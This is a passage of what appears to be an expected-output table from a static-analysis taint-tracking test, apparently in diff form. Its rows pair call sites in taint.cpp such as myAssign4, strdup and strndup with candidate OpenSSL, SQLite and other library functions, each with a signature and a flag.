taint.cpp:312:6:312:14 | myAssign4 | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:312:6:312:14 | myAssign4 | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:312:6:312:14 | myAssign4 | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:312:6:312:14 | myAssign4 | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (int *,int) | | X509_PURPOSE_set | 0 | +| taint.cpp:312:6:312:14 | myAssign4 | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (int *,int) | | X509_TRUST_set | 0 | +| taint.cpp:312:6:312:14 | myAssign4 | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (int,int) | | BN_security_bits | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (int,int) | | acttab_alloc | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (uint16_t,int) | | tls1_group_id2nid | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (unsigned char *,int) | | RAND_bytes | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (void *,int) | | DSO_dsobyaddr | 1 | +| taint.cpp:312:6:312:14 | myAssign4 | (void *,int) | | sqlite3_realloc | 1 | | taint.cpp:312:6:312:14 | myAssign4 | (wchar_t,int) | CStringT | CStringT | 1 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | BIO_gethostbyname | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | Jim_StrDup | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | OPENSSL_LH_strhash | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | Strsafe | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | Symbol_new | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | UI_create_method | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | X509V3_parse_list | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | X509_LOOKUP_meth_new | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | a2i_IPADDRESS | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | a2i_IPADDRESS_NC | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | new_pkcs12_builder | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | opt_path_end | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | opt_progname | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | ossl_lh_strcasehash | 0 | +| taint.cpp:361:7:361:12 | strdup | (const char *) | | strhash | 0 | +| taint.cpp:362:7:362:13 | strndup | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| taint.cpp:362:7:362:13 | strndup | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| taint.cpp:362:7:362:13 | strndup | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| taint.cpp:362:7:362:13 | strndup | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| taint.cpp:362:7:362:13 | strndup | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (BUF_MEM *,size_t) | | BUF_MEM_grow | 1 | +| taint.cpp:362:7:362:13 | strndup | (BUF_MEM *,size_t) | | BUF_MEM_grow_clean | 1 | +| taint.cpp:362:7:362:13 | strndup | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| taint.cpp:362:7:362:13 | strndup | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| taint.cpp:362:7:362:13 | strndup | (OSSL_HPKE_SUITE,size_t) | | OSSL_HPKE_get_ciphertext_size | 1 | +| taint.cpp:362:7:362:13 | strndup | 